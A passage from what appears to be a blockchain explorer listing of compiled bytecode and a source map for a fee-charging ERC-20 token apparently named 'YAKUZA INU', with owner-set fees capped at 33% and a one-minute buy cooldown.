b54600160a01b900460ff1681565b600081848411156110df5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110a457818101518382015260200161108c565b50505050905090810190601f1680156110d15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60215460009060ff161561110757611100848484611427565b9050610ad5565b601b546001600160a01b0385811691161480156111265750601d5460ff165b156111aa576001600160a01b0383166000908152601e602052604090205442116111815760405162461bcd60e51b8152600401808060200182810382526025815260200180611aeb6025913960400191505060405180910390fd5b601d546001600160a01b0384166000908152601e6020526040902061010090910460ff16420190555b6111b48483611508565b6111bc61157a565b156111c9576111c96115cb565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461121b918490611050565b6001600160a01b038516600090815260086020526040812091909155611240856119a7565b61124a5782611268565b601b5461126890869085906001600160a01b038881169116146119c6565b6001600160a01b03851660009081526008602052604090205490915061128e9082611332565b6001600160a01b0380861660008181526008602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610ad583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611050565b600082820183811015610ad5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261139b575060006109a0565b828202828482816113a857fe5b0414610ad55760405162461bcd60e51b8152600401808060200182810382526021815260200180611b106021913960400191505060405180910390fd5b6000610ad583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a85565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600890915291822054611478918490611050565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546114a79083611332565b6001600160a01b0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b6006548111158061153157506001600160a01b0382166000908152600b602052604090205460ff165b611576576040805162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015290519081900360640190fd5b5050565b601b546000906001600160a01b0316331480159061159b575060215460ff16155b80156115a95750601f5460ff165b8015610b20575050602080543060009081526008909252604090912054101590565b6021805460ff191660011790556018546019546000916115ea916109a6565b6115f657600d546115f9565b60005b9050600061161d6002610ec9601154610ec98660205461138c90919063ffffffff16565b90506000611636826020546112f090919063ffffffff16565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061166a57fe5b6001600160a01b039283166020918202929092010152600180548351921691839190811061169457fe5b6001600160a01b03928316602091820292909201810191909152601a5460405163791ac94760e01b8152600481018681526000602483018190523060648401819052426084850181905260a060448601908152895160a487015289514799979097169763791ac947978c9795968c9690939260c49091019187820191028083838b5b8381101561172e578181015183820152602001611716565b505050509050019650505050505050600060405180830381600087803b15801561175757600080fd5b505af115801561176b573d6000803e3d6000fd5b50505050600061178482476112f090919063ffffffff16565b9050600061179f6117968860026113e5565b601154906112f0565b905060006117b46002610ec98481878d61138c565b905060006117d183610ec9600f548761138c90919063ffffffff16565b905060006117ee84610ec96010548861138c90919063ffffffff16565b6016546040519192506000916001600160a01b039091169061753090859084818181858888f193505050503d8060008114611845576040519150601f19603f3d011682016040523d82523d6000602084013e61184a565b606091505b50506017546040519192506001600160a01b0316906175309084906000818181858888f193505050503d806000811461189f576040519150601f19603f3d011682016040523d82523d6000602084013e6118a4565b606091505b5060009250508a15905061199057601a546015546040805163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0392831660848201524260a48201529051919092169163f305d71991879160c48082019260609290919082900301818588803b15801561192757600080fd5b505af115801561193b573d6000803e3d6000fd5b50505050506040513d606081101561195257600080fd5b505060408051858152602081018c905281517f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506929181900390910190a15b50506021805460ff19169055505050505050505050565b6001600160a01b03166000908152600a602052604090205460ff161590565b600080826119d55760646119d9565b6014545b905060006119ff601254606402610ec984610ebc6011548a61138c90919063ffffffff16565b30600090815260086020526040902054909150611a1c9082611332565b30600081815260086020908152604091829020939093558051848152905191926001600160a01b038a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3611a7b85826112f0565b9695505050505050565b60008183611ad45760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156110a457818101518382015260200161108c565b506000838581611ae057fe5b049594505050505056fe506c65617365207761697420666f7220316d696e206265747765656e2074776f2062757973536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220a7cd3bdbbacb90b6fd8ddc22997f1c11b4191029bbbdab6a8b1beb7ddf97291764736f6c63430007060033

Deployed Bytecode

0x60806040526004361061026b5760003560e01c8063722b62ad11610144578063a9059cbb116100b6578063e592e8a21161007a578063e592e8a214610838578063e96fada214610862578063f2fde38b14610877578063f84ba65d146108aa578063f887ea40146108e5578063ffb54a99146108fa57610272565b8063a9059cbb14610770578063ca33e64c146107a9578063d51ed1c8146107be578063dab84ee7146107e8578063dd62ed3e146107fd57610272565b806383ad79941161010857806383ad7994146106b0578063893d20e8146106c557806395d89b41146106f657806398118cb41461070b578063a4b45c0014610720578063a8aa1b311461075b57610272565b8063722b62ad14610620578063751039fc1461063557806378109e541461064a57806379cd2ca81461065f5780637d1db4a51461069b57610272565b80632d594567116101dd578063617fe0ed116101a1578063617fe0ed1461055e578063658d4b7f146105735780636827e764146105ae5780636b67c4df146105c35780636ddd1713146105d857806370a08231146105ed57610272565b80632d594567146104835780632f54bf6e146104b8578063313ce567146104eb578063571ac8b0146105165780635972b08c1461054957610272565b8063180b0d7e1161022f578063180b0d7e146103ba57806318160ddd146103cf5780631df4ccfc146103e4578063201e7991146103f957806323b872dd1461042b5780632b112e491461046e57610272565b8063043f32e1146102775780630445b6671461029e57806306fdde03146102b3578063095ea7b31461033d5780631161ae391461038a57610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c61090f565b60408051918252519081900360200190f35b3480156102aa57600080fd5b5061028c610915565b3480156102bf57600080fd5b506102c861091b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103025781810151838201526020016102ea565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034957600080fd5b506103766004803603604081101561036057600080fd5b506001600160a01b03813516906020013561093f565b604080519115158252519081900360200190f35b34801561039657600080fd5b50610376600480360360408110156103ad57600080fd5b50803590602001356109a6565b3480156103c657600080fd5b5061028c6109ba565b3480156103db57600080fd5b5061028c6109c0565b3480156103f057600080fd5b5061028c6109c6565b34801561040557600080fd5b506104296004803603604081101561041c57600080fd5b50803590602001356109cc565b005b34801561043757600080fd5b506103766004803603606081101561044e57600080fd5b506001600160a01b03813581169160208101359091169060400135610a1a565b34801561047a57600080fd5b5061028c610adc565b34801561048f57600080fd5b50610429600480360360408110156104a657600080fd5b5080351515906020013560ff16610b25565b3480156104c457600080fd5b50610376600480360360208110156104db57600080fd5b50356001600160a01b0316610b8e565b3480156104f757600080fd5b50610500610ba2565b6040805160ff9092168252519081900360200190f35b34801561052257600080fd5b506103766004803603602081101561053957600080fd5b50356001600160a01b0316610ba7565b34801561055557600080fd5b5061028c610bb5565b34801561056a57600080fd5b50610376610bbb565b34801561057f57600080fd5b506104296004803603604081101561059657600080fd5b506001600160a01b0381351690602001351515610bc4565b3480156105ba57600080fd5b5061028c610c32565b3480156105cf57600080fd5b5061028c610c38565b3480156105e457600080fd5b50610376610c3e565b3480156105f957600080fd5b5061028c6004803603602081101561061057600080fd5b50356001600160a01b0316610c47565b34801561062c57600080fd5b50610500610c62565b34801561064157600080fd5b50610376610c70565b34801561065657600080fd5b5061028c610cc6565b34801561066b57600080fd5b506104296004803603608081101561068257600080fd5b5080359060208101359060408101359060600135610ccc565b3480156106a757600080fd5b5061028c610da2565b3480156106bc57600080fd5b5061028c610da8565b3480156106d157600080fd5b506106da610dae565b604080516001600160a01b039092168252519081900360200190f35b34801561070257600080fd5b506102c8610dbd565b34801561071757600080fd5b5061028c610dda565b34801561072c57600080fd5b506104296004803603604081101561074357600080fd5b506001600160a01b0381358116916020013516610de0565b34801561076757600080fd5b506106da610e64565b34801561077c57600080fd5b506103766004803603604081101561079357600080fd5b506001600160a01b038135169060200135610e73565b3480156107b557600080fd5b506106da610e80565b3480156107ca57600080fd5b5061028c600480360360208110156107e157600080fd5b5035610e8f565b3480156107f457600080fd5b506106da610ecf565b34801561080957600080fd5b5061028c6004803603604081101561082057600080fd5b506001600160a01b0381358116916020013516610ede565b34801561084457600080fd5b506104296004803603602081101561085b57600080fd5b5035610f09565b34801561086e57600080fd5b506106da610f1d565b34801561088357600080fd5b506104296004803603602081101561089a57600080fd5b50356001600160a01b0316610f2c565b3480156108b657600080fd5b50610429600480360360408110156108cd57600080fd5b506001600160a01b0381351690602001351515610fc3565b3480156108f157600080fd5b506106da611031565b34801561090657600080fd5b50610376611040565b60145481565b60205481565b60408051808201909152600a81526959414b555a4120494e5560b01b602082015290565b3360008181526009602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000826109b283610e8f565b119392505050565b60125481565b60055490565b60115481565b6109d533610b8e565b610a0f576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601891909155601955565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914610ac7576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600982528381203382529091529190912054610aa2918490611050565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b610ad28484846110e7565b90505b9392505050565b600354600090610b2090610af8906001600160a01b0316610c47565b600254610b1a90610b11906001600160a01b0316610c47565b600554906112f0565b906112f0565b905090565b610b2e33610b8e565b610b68576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601d805460ff19169215159290921761ff00191661010060ff9290921691909102179055565b6000546001600160a01b0390811691161490565b600990565b60006109a08260001961093f565b60135481565b601d5460ff1681565b610bcd33610b8e565b610c07576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b60105481565b600f5481565b601f5460ff1681565b6001600160a01b031660009081526008602052604090205490565b601d54610100900460ff1681565b6000610c7b33610b8e565b610cb5576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b506005546006819055600755600190565b60075481565b610cd533610b8e565b610d0f576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600d849055600e839055600f82905560016010819055610d3b90610d3584818888611332565b90611332565b60115560128190556003810460115410610d9c576040805162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000604482015290519081900360640190fd5b50505050565b60065481565b600e5481565b6000546001600160a01b031690565b6040805180820190915260038152622ca4a760e91b602082015290565b600d5481565b610de933610b8e565b610e23576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601580546001600160a01b03199081166001600160a01b03948516179091556016805482169284169290921790915560045460178054919093169116179055565b601b546001600160a01b031681565b6000610ad53384846110e7565b6015546001600160a01b031681565b60006109a0610e9c610adc565b601b54610ec990610ec290600290610ebc906001600160a01b0316610c47565b9061138c565b859061138c565b906113e5565b6017546001600160a01b031681565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b601354811015610f1857600080fd5b601455565b6016546001600160a01b031681565b610f3533610b8e565b610f6f576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639181900360200190a150565b610fcc33610b8e565b611006576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b601a546001600160a01b031681565b601b54600160a01b900460ff1681565b600081848411156110df5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110a457818101518382015260200161108c565b50505050905090810190601f1680156110d15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60215460009060ff161561110757611100848484611427565b9050610ad5565b601b546001600160a01b0385811691161480156111265750601d5460ff165b156111aa576001600160a01b0383166000908152601e602052604090205442116111815760405162461bcd60e51b8152600401808060200182810382526025815260200180611aeb6025913960400191505060405180910390fd5b601d546001600160a01b0384166000908152601e6020526040902061010090910460ff16420190555b6111b48483611508565b6111bc61157a565b156111c9576111c96115cb565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461121b918490611050565b6001600160a01b038516600090815260086020526040812091909155611240856119a7565b61124a5782611268565b601b5461126890869085906001600160a01b038881169116146119c6565b6001600160a01b03851660009081526008602052604090205490915061128e9082611332565b6001600160a01b0380861660008181526008602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610ad583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611050565b600082820183811015610ad5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261139b575060006109a0565b828202828482816113a857fe5b0414610ad55760405162461bcd60e51b8152600401808060200182810382526021815260200180611b106021913960400191505060405180910390fd5b6000610ad583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a85565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600890915291822054611478918490611050565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546114a79083611332565b6001600160a01b0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b6006548111158061153157506001600160a01b0382166000908152600b602052604090205460ff165b611576576040805162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015290519081900360640190fd5b5050565b601b546000906001600160a01b0316331480159061159b575060215460ff16155b80156115a95750601f5460ff165b8015610b20575050602080543060009081526008909252604090912054101590565b6021805460ff191660011790556018546019546000916115ea916109a6565b6115f657600d546115f9565b60005b9050600061161d6002610ec9601154610ec98660205461138c90919063ffffffff16565b90506000611636826020546112f090919063ffffffff16565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061166a57fe5b6001600160a01b039283166020918202929092010152600180548351921691839190811061169457fe5b6001600160a01b03928316602091820292909201810191909152601a5460405163791ac94760e01b8152600481018681526000602483018190523060648401819052426084850181905260a060448601908152895160a487015289514799979097169763791ac947978c9795968c9690939260c49091019187820191028083838b5b8381101561172e578181015183820152602001611716565b505050509050019650505050505050600060405180830381600087803b15801561175757600080fd5b505af115801561176b573d6000803e3d6000fd5b50505050600061178482476112f090919063ffffffff16565b9050600061179f6117968860026113e5565b601154906112f0565b905060006117b46002610ec98481878d61138c565b905060006117d183610ec9600f548761138c90919063ffffffff16565b905060006117ee84610ec96010548861138c90919063ffffffff16565b6016546040519192506000916001600160a01b039091169061753090859084818181858888f193505050503d8060008114611845576040519150601f19603f3d011682016040523d82523d6000602084013e61184a565b606091505b50506017546040519192506001600160a01b0316906175309084906000818181858888f193505050503d806000811461189f576040519150601f19603f3d011682016040523d82523d6000602084013e6118a4565b606091505b5060009250508a15905061199057601a546015546040805163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0392831660848201524260a48201529051919092169163f305d71991879160c48082019260609290919082900301818588803b15801561192757600080fd5b505af115801561193b573d6000803e3d6000fd5b50505050506040513d606081101561195257600080fd5b505060408051858152602081018c905281517f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506929181900390910190a15b50506021805460ff19169055505050505050505050565b6001600160a01b03166000908152600a602052604090205460ff161590565b600080826119d55760646119d9565b6014545b905060006119ff601254606402610ec984610ebc6011548a61138c90919063ffffffff16565b30600090815260086020526040902054909150611a1c9082611332565b30600081815260086020908152604091829020939093558051848152905191926001600160a01b038a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3611a7b85826112f0565b9695505050505050565b60008183611ad45760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156110a457818101518382015260200161108c565b506000838581611ae057fe5b049594505050505056fe506c65617365207761697420666f7220316d696e206265747765656e2074776f2062757973536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220a7cd3bdbbacb90b6fd8ddc22997f1c11b4191029bbbdab6a8b1beb7ddf97291764736f6c63430007060033

Deployed Bytecode Sourcemap

5398:10791:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6628:34;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;7199:54;;;;;;;;;;;;;:::i;8522:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8944:216;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8944:216:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;15974:150;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15974:150:0;;;;;;;:::i;6535:36::-;;;;;;;;;;;;;:::i;8252:88::-;;;;;;;;;;;;;:::i;6443:85::-;;;;;;;;;;;;;:::i;15455:182::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15455:182:0;;;;;;;:::i;:::-;;9456:364;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;9456:364:0;;;;;;;;;;;;;;;;;:::i;15649:142::-;;;;;;;;;;;;;:::i;12300:164::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12300:164:0;;;;;;;;;;;:::i;3329:103::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;3329:103:0;-1:-1:-1;;;;;3329:103:0;;:::i;8346:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;9168:116;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9168:116:0;-1:-1:-1;;;;;9168:116:0;;:::i;6578:41::-;;;;;;;;;;;;;:::i;7016:37::-;;;;;;;;;;;;;:::i;14416:119::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;14416:119:0;;;;;;;;;;:::i;6402:34::-;;;;;;;;;;;;;:::i;6361:::-;;;;;;;;;;;;;:::i;7162:30::-;;;;;;;;;;;;;:::i;8692:105::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8692:105:0;-1:-1:-1;;;;;8692:105:0;;:::i;7060:39::-;;;;;;;;;;;;;:::i;14241:167::-;;;;;;;;;;;;;:::i;5960:52::-;;;;;;;;;;;;;:::i;14678:493::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;14678:493:0;;;;;;;;;;;;;;;;;:::i;5904:49::-;;;;;;;;;;;;;:::i;6320:34::-;;;;;;;;;;;;;:::i;8608:78::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;8608:78:0;;;;;;;;;;;;;;8432:84;;;;;;;;;;;;;:::i;6279:34::-;;;;;;;;;;;;;:::i;15179:268::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;15179:268:0;;;;;;;;;;:::i;6909:19::-;;;;;;;;;;;;;:::i;9292:156::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;9292:156:0;;;;;;;;:::i;6671:36::-;;;;;;;;;;;;;:::i;15799:167::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;15799:167:0;;:::i;6756:29::-;;;;;;;;;;;;;:::i;8803:133::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8803:133:0;;;;;;;;;;:::i;12094:159::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12094:159:0;;:::i;6714:35::-;;;;;;;;;;;;;:::i;3440:136::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;3440:136:0;-1:-1:-1;;;;;3440:136:0;;:::i;14543:127::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;14543:127:0;;;;;;;;;;:::i;6878:24::-;;;;;;;;;;;;;:::i;6937:30::-;;;;;;;;;;;;;:::i;6628:34::-;;;;:::o;7199:54::-;;;;:::o;8522:80::-;8594:5;;;;;;;;;;;;-1:-1:-1;;;8594:5:0;;;;8522:80;:::o;8944:216::-;9048:10;9019:4;9036:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9036:32:0;;;;;;;;;;;:41;;;9093:37;;;;;;;9019:4;;9036:32;;9048:10;;9093:37;;;;;;;;-1:-1:-1;9148:4:0;8944:216;;;;;:::o;15974:150::-;16054:4;16110:6;16078:29;16098:8;16078:19;:29::i;:::-;:38;;15974:150;-1:-1:-1;;;15974:150:0:o;6535:36::-;;;;:::o;8252:88::-;8325:12;;8252:88;:::o;6443:85::-;;;;:::o;15455:182::-;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;15552:15:::1;:25:::0;;;;15588:26:::1;:41:::0;15455:182::o;9456:364::-;-1:-1:-1;;;;;9576:19:0;;9556:4;9576:19;;;:11;:19;;;;;;;;9596:10;9576:31;;;;;;;;-1:-1:-1;;9576:46:0;9573:180;;9672:69;;;;;;;;;;;-1:-1:-1;;;9672:69:0;;;;;;;;-1:-1:-1;;;;;9672:19:0;;-1:-1:-1;9672:19:0;;;:11;:19;;;;;9692:10;9672:31;;;;;;;;;;:69;;9708:6;;9672:35;:69::i;:::-;-1:-1:-1;;;;;9638:19:0;;;;;;:11;:19;;;;;;;;9658:10;9638:31;;;;;;;:103;9573:180;9772:40;9786:6;9794:9;9805:6;9772:13;:40::i;:::-;9765:47;;9456:364;;;;;;:::o;15649:142::-;15777:4;;15702:7;;15729:54;;15767:15;;-1:-1:-1;;;;;15777:4:0;15767:9;:15::i;:::-;15756:4;;15729:33;;15746:15;;-1:-1:-1;;;;;15756:4:0;15746:9;:15::i;:::-;15729:12;;;:16;:33::i;:::-;:37;;:54::i;:::-;15722:61;;15649:142;:::o;12300:164::-;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;12384:18:::1;:28:::0;;-1:-1:-1;;12384:28:0::1;::::0;::::1;;::::0;;;::::1;-1:-1:-1::0;;12423:33:0::1;12384:28;;12423:33:::0;;;::::1;::::0;;;::::1;;::::0;;12300:164::o;3329:103::-;3384:4;3419:5;-1:-1:-1;;;;;3419:5:0;;;3408:16;;;;3329:103::o;8346:80::-;5837:1;8346:80;:::o;9168:116::-;9223:4;9247:29;9255:7;-1:-1:-1;;9247:7:0;:29::i;6578:41::-;;;;:::o;7016:37::-;;;;;;:::o;14416:119::-;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;14499:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:28;;-1:-1:-1;;14499:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14416:119::o;6402:34::-;;;;:::o;6361:::-;;;;:::o;7162:30::-;;;;;;:::o;8692:105::-;-1:-1:-1;;;;;8776:18:0;8758:7;8776:18;;;:9;:18;;;;;;;8692:105::o;7060:39::-;;;;;;;;;:::o;14241:167::-;14293:4;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;-1:-1:-1;14325:12:0::1;::::0;14310::::1;:27:::0;;;14348:15:::1;:30:::0;14396:4:::1;14241:167:::0;:::o;5960:52::-;;;;:::o;14678:493::-;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;14826:12:::1;:28:::0;;;14865:13:::1;:30:::0;;;14906:12:::1;:28:::0;;;14954:1:::1;14945:6;:10:::0;;;14977:64:::1;::::0;:52:::1;14921:13:::0;14977:52;14841:13;14881:14;14977:17:::1;:33::i;:::-;:37:::0;::::1;:52::i;:64::-;14966:8;:75:::0;15052:14:::1;:32:::0;;;15129:1:::1;15069:15:::0;15114:16:::1;15103:8;;:27;15095:68;;;::::0;;-1:-1:-1;;;15095:68:0;;::::1;;::::0;::::1;::::0;::::1;::::0;;;;::::1;::::0;;;;;;;;;;;;;::::1;;14678:493:::0;;;;:::o;5904:49::-;;;;:::o;6320:34::-;;;;:::o;8608:78::-;8660:7;8678:5;-1:-1:-1;;;;;8678:5:0;8608:78;:::o;8432:84::-;8506:7;;;;;;;;;;;;-1:-1:-1;;;8506:7:0;;;;8432:84;:::o;6279:34::-;;;;:::o;15179:268::-;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;15298:21:::1;:46:::0;;-1:-1:-1;;;;;;15298:46:0;;::::1;-1:-1:-1::0;;;;;15298:46:0;;::::1;;::::0;;;15355:20:::1;:44:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;15435:3:::1;::::0;15410:14:::1;:29:::0;;15435:3;;;::::1;15410:29:::0;::::1;;::::0;;15179:268::o;6909:19::-;;;-1:-1:-1;;;;;6909:19:0;;:::o;9292:156::-;9372:4;9396:44;9410:10;9422:9;9433:6;9396:13;:44::i;6671:36::-;;;-1:-1:-1;;;;;6671:36:0;;:::o;15799:167::-;15867:7;15894:64;15935:22;:20;:22::i;:::-;15917:4;;15894:36;;15907:22;;15927:1;;15907:15;;-1:-1:-1;;;;;15917:4:0;15907:9;:15::i;:::-;:19;;:22::i;:::-;15894:8;;:12;:36::i;:::-;:40;;:64::i;6756:29::-;;;-1:-1:-1;;;;;6756:29:0;;:::o;8803:133::-;-1:-1:-1;;;;;8905:19:0;;;8887:7;8905:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8803:133::o;12094:159::-;12179:18;;12162:13;:35;;12154:44;;;;;;12209:12;:28;12094:159::o;6714:35::-;;;-1:-1:-1;;;;;6714:35:0;;:::o;3440:136::-;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;3516:5:::1;:11:::0;;-1:-1:-1;;;;;3516:11:0;::::1;-1:-1:-1::0;;;;;;3516:11:0;;::::1;::::0;::::1;::::0;;;3543:25:::1;::::0;;;;;;::::1;::::0;;;;::::1;::::0;;::::1;3440:136:::0;:::o;14543:127::-;3280:19;3288:10;3280:7;:19::i;:::-;3272:38;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;-1:-1:-1;;;3272:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;14630:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;14630:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14543:127::o;6878:24::-;;;-1:-1:-1;;;;;6878:24:0;;:::o;6937:30::-;;;-1:-1:-1;;;6937:30:0;;;;;:::o;1368:192::-;1454:7;1490:12;1482:6;;;;1474:29;;;;-1:-1:-1;;;1474:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1526:5:0;;;1368:192::o;9830:958::-;9942:6;;9922:4;;9942:6;;9939:63;;;9958:41;9973:6;9981:9;9992:6;9958:14;:41::i;:::-;9951:48;;;;9939:63;10028:4;;-1:-1:-1;;;;;10018:14:0;;;10028:4;;10018:14;:49;;;;-1:-1:-1;10049:18:0;;;;10018:49;10014:254;;;-1:-1:-1;;;;;10092:24:0;;;;;;:13;:24;;;;;;10119:15;-1:-1:-1;10084:91:0;;;;-1:-1:-1;;;10084:91:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10235:21;